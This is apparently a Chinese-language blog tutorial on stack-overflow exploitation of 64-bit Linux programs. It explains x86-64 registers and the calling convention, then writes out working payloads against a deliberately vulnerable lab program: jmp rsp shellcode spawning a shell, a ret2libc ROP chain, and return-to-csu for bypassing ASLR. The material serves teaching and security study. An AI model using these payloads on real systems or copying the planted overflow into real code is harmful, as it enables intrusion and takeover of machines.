Linux64位程序中的漏洞利用

之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况应用程序. 所以理解32位环境也是有必要的. 不过, 现在毕竟已经是2018年了, 64位程序也逐渐成为主流, 尤其是在Linux环境中. 因此本篇就来说说64位下的利用与32位下的利用和缓解绕过方法有何异同.

基础知识

我们所说的32位和64位, 其实就是寄存器的大小. 对于32位寄存器大小为32/8=4字节, 那64位自然是64/8=8字节了. 寄存器的大小对程序的直接影响就是地址空间, 因为CPU获取数据/地址还是要通过寄存器来传递, 32位程序地址空间最多也只有 2^32-1=4GB(不考虑内核空间), 64位则将地址空间提高了几十亿倍, 充分利用了 机器的内存.

对于x86架构的CPU, 通常会用到的寄存器有下列这些:

text

(gdb) info registers 
eax            0xf7fa6dbc	-134582852
ecx            0x5cb15f85	1555128197
edx            0xffffc834	-14284
ebx            0x0	0
esp            0xffffc808	0xffffc808
ebp            0xffffc808	0xffffc808
esi            0x1	1
edi            0xf7fa5000	-134590464
eip            0x56555563	0x56555563 <main+3>
eflags         0x292	[ AF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

这些寄存器可以分为四类:

text

通用寄存器:
EAX EBX ECX EDX

索引和指针:
ESI EDI EBP ESP EIP

段寄存器:
CS SS DS ES FS GS

指示器:
EFLAGS

其中EAX~EDX四个通用寄存器支持部分引用, 如EAX低16位可通过AX来引用, AL的高8位和低8位又可以分别通过AH和AL来引用.

有的文档将ESI,EDI也称为通用寄存器, 因为他们也是程序可自由读写的, 不过他们不支持部分引用. EBP/ESP分别称为栈基指针和栈指针, 分别指向 当前栈帧的栈底和栈顶. EIP为PC指针, 指向将要执行的下一条指令.

段寄存器(Segment registers)保存了不同目标的段地址, 只有16种取值, 只能被通用寄存器或者特殊指令设置.

段寄存器 作用
CS Code Segment
SS Stack Segment
DS Data Segment
ES,FS,GS 主要用作远指针寻址

指示器EFLAGS保存了指令运行的一些状态(flag), 比如进位,符号等, Intel文档定义如下:

Bit Label Desciption
0 CF Carry flag
2 PF Parity flag
4 AF Auxiliary carry flag
6 ZF Zero flag
7 SF Sign flag
8 TF Trap flag
9 IF Interrupt enable flag
10 DF Direction flag
11 OF Overflow flag
12-13 IOPL I/O Priviledge level
14 NT Nested task flag
16 RF Resume flag
17 VM Virtual 8086 mode flag
18 AC Alignment check flag (486+)
19 VIF Virutal interrupt flag
20 VIP Virtual interrupt pending flag
21 ID ID flag

这个32位寄存器中上面没提到的位是由Intel保留的.

x86-64架构下的寄存器种类和32位差不多:

text

(gdb) info  registers 
rax            0x555555554660	93824992233056
rbx            0x0	0
rcx            0x0	0
rdx            0x7fffffffd708	140737488344840
rsi            0x7fffffffd6f8	140737488344824
rdi            0x1	1
rbp            0x7fffffffd610	0x7fffffffd610
rsp            0x7fffffffd610	0x7fffffffd610
r8             0x5555555546e0	93824992233184
r9             0x7ffff7de8cb0	140737351945392
r10            0x8	8
r11            0x1	1
r12            0x555555554530	93824992232752
r13            0x7fffffffd6f0	140737488344816
r14            0x0	0
r15            0x0	0
rip            0x555555554664	0x555555554664 <main+4>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

只不过寄存器大小从32位变成了64位, 而且增加了8个通用寄存器(r8r15). 和x86一样, raxrdx这四个通用寄存器也支持部分寻址:

text

0x1122334455667788
  ================ RAX (64位)
          ======== EAX (低32位)
              ====  AX (低16位)
              ==    AH (高8位)
                ==  AL (低8位)

32位和64位程序的区别, 更多的是体现在调用约定(Calling Convention)上. 因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递 而不是通过栈, 来获得更高的运行速度.

本文主要是介绍Linux平台下的漏洞利用, 所以就专注于System V AMD64 ABI 的调用约定, 即函数参数从左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9来进行传递, 如果参数个数多于6个, 再通过栈来进行传递.

text

$ cat victim.c
int foo(int a, int b, int c,  int d,  int e,  int f,  int g,  int h) {
    return a + b + c + d + e + f + g + h;
}
int main() {
    foo(1, 2, 3, 4, 5, 6, 7, 8);
    return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
 6a0:	55                   	push   rbp
 6a1:	48 89 e5             	mov    rbp,rsp
 6a4:	6a 08                	push   0x8
 6a6:	6a 07                	push   0x7
 6a8:	41 b9 06 00 00 00    	mov    r9d,0x6
 6ae:	41 b8 05 00 00 00    	mov    r8d,0x5
 6b4:	b9 04 00 00 00       	mov    ecx,0x4
 6b9:	ba 03 00 00 00       	mov    edx,0x3
 6be:	be 02 00 00 00       	mov    esi,0x2
 6c3:	bf 01 00 00 00       	mov    edi,0x1
 6c8:	e8 93 ff ff ff       	call   660 <foo>

漏洞利用

回忆一下之前在栈溢出漏洞的利用和缓解中介绍的漏洞利用流程, 我们的目的是通过溢出等内存破坏的漏洞来执行任意的代码, 为实现这个目的, 就要按照调用约定来对内存进行精确布局, 然后执行恶意跳转. 在32位的环境下, 因为函数参数都是通过栈传递, 而我们有能溢出栈 进行任意写, 所以利用起来很直接, 到了64位环境中就需要做点改变了.

在本文接下来的介绍中, 都以下面的程序为目标来说明64位环境中如何 正确地利用漏洞, 以及如何绕过常见的漏洞缓解措施.

c

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy()
{
    __asm__("nop; jmp rsp");
} 

同样的, 我们先从最宽松的环境开始.

与x86的栈溢出漏洞类似, 我们可以先用debruijn序列来获得溢出点:

text

$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2 
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8	}
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>

(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2 
(gdb) x/xg $rbp+8
0x7fffffffd608:	0x4149414148414147

不过, 和x86不同的是, 这里在出现段错误时, rip指针并没有被我们的序列覆盖到. 这是因为x86在传递地址时不会进行"验证". 而x64则会对根据寻址标准对地址进行检查, 规则是48~63位必须和47位相同(从0开始), 否则处理器将会产生异常. 这规则听起来有点怪, 不过考虑到用户空间最多只有0x00007FFFFFFFFFF, 所以对正常程序而言是有保护作用的, 详情可以参考这里. 好吧, 那么该如何获得覆盖的rip值? 其实也很简单, 只要在溢出后打上断点, 并查看$rbp+8就是我们将要覆盖的rip值了. 如上为0x4149414148414147, 转换为(小端)ASCII为GAAHAAIA, 在debruijn序列的第19位, 验证如下:

text

$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242

确实是BBBB覆盖了返回的指针. 所以栈的布局和32位下应该是类似的. 利用跳转 jmp rsp和32位没有太大区别, 假设我们目标是通过system("/bin/sh")来获取shell.

先分别获得libc的基地址, system函数的偏移以及字符串的偏移:

text

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-vdso.so.1 (0x00007ffff7ffa000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
   583: 000000000003f450    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1353: 000000000003f450    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9

所以:

  • libc加载基地址为0x00007ffff7a3a000
  • system()地址为0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
  • “/bin/sh"的地址为0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9

上一节说了x64下调用约定是通过寄存器来传递函数的参数, 其中第一个参数为rdi, 因此需要构造的payload应该如下:

nasm

;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;

在宽松的环境下, 栈是可执行的, 所以我们用jmp rsp来跳转到shellcode中:

text

$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
  400615:	ff e4                	jmp    rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"

返回地址应覆盖为0x400615, 所以完整的payload验证如下(记得加上NOP sled):

text

$ (python -c 'print "A"*18 + "\x15\x06\x40\x00" + "\x00"*4 + "\x90"*20 + "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功获得shell. 这是最原始的通过jmp rsp+NOP sled劫持运行流程的方式, 和32位情况下没有太大区别.

return-to-libc和32位情况下的区别是函数参数需要保存在rdi寄存器中. 然而我们只能覆盖栈的地址, 所以这时候需要借助ROP方法来控制流程, 先跳转到程序中的pop rdi; ret片段(gadget), 再跳转到system@libc中.

text

$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000683  5fc3 9066 2e0f 1f84 0000 0000 00f3 c300  _..f............
0x00000693  0048 83ec 0848 83c4 08c3 0000 0001 0002  .H...H..........
0x000006a3  0025 7300 6865 6c6c 6f20 2573 0a00 676f  .%s.hello %s..go
0x000006b3  6f64 2062 7965 2100 0001 1b03 3b40 0000  od bye!.....;@..
0x000006c3  0007 0000 00c4 fdff ff8c 0000 0004       ..............

关键是要找到合适的gadget, 在victim里找到了这俩字节, 就算不幸没找到也没关系, 我们还可以从libc.so里去找, 这个会在后面细说.

值得一提的是32位程序加载地址为0x08048000, 而64位程序加载地址为0x00400000. 所以跳转的返回地址应该是0x00400000+0x683=0x400683, ROP链如下:

text

栈顶(低地址) <-------- 栈底(高地址)
...[18字节][0x400683]["/bin/sh"地址][system@libc][system返回(可选)]

和之前一样, “/bin/sh"和system()的地址和之前一样, 验证:

text

$ (python -c 'print "A"*18 + "\x83\x06\x40\x00\x00\x00\x00\x00" + "\xf9\xb9\xb9\xf7\xff\x7f\x00\x00" + "\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功返回到了libc中执行system("/bin/sh")

上面用ret2libc虽然成功绕过了NX并执行命令, 但其实也不稳定. 因为我们是假定知道 了libc的加载地址(即禁用ASLR). 不过, 在上一篇深入了解GOT,PLT和动态链接 中我们说了, ASLR虽然随机化了部分虚拟地址空间, 不过PLT却不在此列, 其地址依然 是和可执行文件的加载地址相对固定的. 如果可执行文件不是PIE(位置无关可执行文件), 那么ELF的加载地址也是固定的. 这就使得我们可以通过跳转到PLT来绕过ASLR执行任意 命令.

利用过程和上面ret2libc类似, 只不过要将system@libc的地址改为system@plt. 哈, 当然, 前提是我们的程序里有system@plt.

text

$ gdb victim_nx
(gdb) info functions 
All defined functions:

File victim.c:
void dummy();
int foo();
int main();

Non-debugging symbols:
0x0000000000400460  _init
0x0000000000400490  puts@plt
0x00000000004004a0  printf@plt
0x00000000004004b0  __isoc99_scanf@plt
0x00000000004004c0  _start
0x00000000004004f0  deregister_tm_clones
0x0000000000400530  register_tm_clones
0x0000000000400570  __do_global_dtors_aux
0x0000000000400590  frame_dummy
0x0000000000400620  __libc_csu_init
0x0000000000400690  __libc_csu_fini
0x0000000000400694  _fini

可惜我们的程序并没有出现system的引用, 所以就不具体演示了, 因为无非是将ret2libc 改一个地址而已.

如果在实际程序中也这么不巧遇到这种情况怎么办? 这就要用到下面的方法了.

找啊找啊找libc

虽然libc.so是PIC位置无关的, 但其中每个符号的相对地址是确定的, 只要知道其中一个, 就能知道libc加载基地址和所有其他符号的位置了. 因此不论是要找函数(如system), 数据(如”/bin/bash”)还是复杂的ROP gadget, 关键都是要找libc, 一旦找到libc的基地址, 这场exploit游戏也就宣告结束了.

深入了解GOT,PLT和动态链接中我们知道, 每个函数的PLT中只包含几行代码, 作用是设置参数并跳转到GOT, 而对应GOT在解析前包含了对应PLT的下一条指令. PLT的下一条指令则动态解析符号并填充对应的GOT, 称为延时加载. 所以, GOT中有libc某些函数的真正地址, 我们可以利用它来获取libc的位置. 这种方法也叫GOT dereference, 和GOT覆盖类似, 只不过并没有真正覆盖. 在32位情况下和64位情况下利用方式大同小异, 可以参考x86漏洞利用中的ASLR 部分, 这里就不赘述了.

offset2lib是在2014年提出来的一种在x64下绕过ASLR的方法, 主要利用的是Linux 实现ASLR的设计缺陷, 在程序启用PIE时会导致加载地址空间(区域)和动态库相同, 从而导致ASLR熵减少. 不过这个缺陷已经在2015年修复了, 所以不展开介绍, 感兴趣的同学可以看原文:Offset2lib: bypassing full ASLR on 64bit Linux. 虽然漏洞已经修复, 但其想法还是很值得学习的.

return-to-csu, 是2018 BlackHat Asia上分享的一种绕过ASLR的新姿势. 对于客户端程序, 我们用程序中的puts/printf可以比较简单地打印(泄漏)出libc的地址, 只需要传入合适的参数. 在文章最开始的部分我们说了, x64下调用约定是用寄存器 rdi,rsi,rdx…来传参, 所以关键是怎么把可控部分(栈)的值传给寄存器.

ROP是个好办法, 可仅考虑可执行文件的话, 不一定能找到合适的gadget. 对于一些网络程序, 我们可能要用write或者send函数来泄露libc, 这就需要3个或者 更多的参数. 可惜使用常见的自动化rop工具在小型程序中难以找到合适的gadget. 于是作者(Hector&Ismael)通过人眼审计可执行文件中的通用代码部分, 发现了两处 有趣的片段, 可以让我们控制edi,rsi和rdx, 并跳转到任意地址. 而这两处片段都在 __libc_csu_init中, 所以该方法称为return-to-csu:

text

$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
   400620:	41 57                	push   r15
   400622:	41 56                	push   r14
   400624:	41 89 ff             	mov    r15d,edi
   400627:	41 55                	push   r13
   400629:	41 54                	push   r12
   40062b:	4c 8d 25 d6 07 20 00 	lea    r12,[rip+0x2007d6]        # 600e08 <__frame_dummy_init_array_entry>
   400632:	55                   	push   rbp
   400633:	48 8d 2d d6 07 20 00 	lea    rbp,[rip+0x2007d6]        # 600e10 <__init_array_end>
   40063a:	53                   	push   rbx
   40063b:	49 89 f6             	mov    r14,rsi
   40063e:	49 89 d5             	mov    r13,rdx
   400641:	4c 29 e5             	sub    rbp,r12
   400644:	48 83 ec 08          	sub    rsp,0x8
   400648:	48 c1 fd 03          	sar    rbp,0x3
   40064c:	e8 0f fe ff ff       	call   400460 <_init>
   400651:	48 85 ed             	test   rbp,rbp
   400654:	74 20                	je     400676 <__libc_csu_init+0x56>
   400656:	31 db                	xor    ebx,ebx
   400658:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
   40065f:	00 
  /400660:	4c 89 ea             	mov    rdx,r13
2| 400663:	4c 89 f6             	mov    rsi,r14
 | 400666:	44 89 ff             	mov    edi,r15d
  \400669:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
   40066d:	48 83 c3 01          	add    rbx,0x1
   400671:	48 39 dd             	cmp    rbp,rbx
   400674:	75 ea                	jne    400660 <__libc_csu_init+0x40>
   400676:	48 83 c4 08          	add    rsp,0x8
  /40067a:	5b                   	pop    rbx
 | 40067b:	5d                   	pop    rbp
 | 40067c:	41 5c                	pop    r12
1| 40067e:	41 5d                	pop    r13
 | 400680:	41 5e                	pop    r14
 | 400682:	41 5f                	pop    r15
  \400684:	c3                   	ret    

如上图标注的片段1和片段2, 联合起来就可以实现控制rdx,rsi和edi, 虽然第一个参数 rdi只能写低32位, 不过一般write/send第一个参数都是文件描述符, 所以也足够了. 关键是__libc_csu_init这一段代码是所有GNU/cc编译链都会添加带可执行文件中的, 这意味着对于大多数Linux x64下的程序栈溢出漏洞都可以用该方式绕过ASLR执行程序. 对于该方法的介绍可以查看原文.

后记

x86和x86-64之间的漏洞利用思路大体相同, 只不过要注意payload的具体布局. 二进制漏洞本身没有什么"一招鲜"的利用方法, 也许暂时某个方法很通用, 但可能某次内核/工具链更新之后就失效了. 关键还是要理解堆栈布局和平台的调用约定, 学习别人的一些利用思路, 比如ROP等. 这样就能针对不同的应用程序和不同的运行环境 快速发现最合适的利用方式.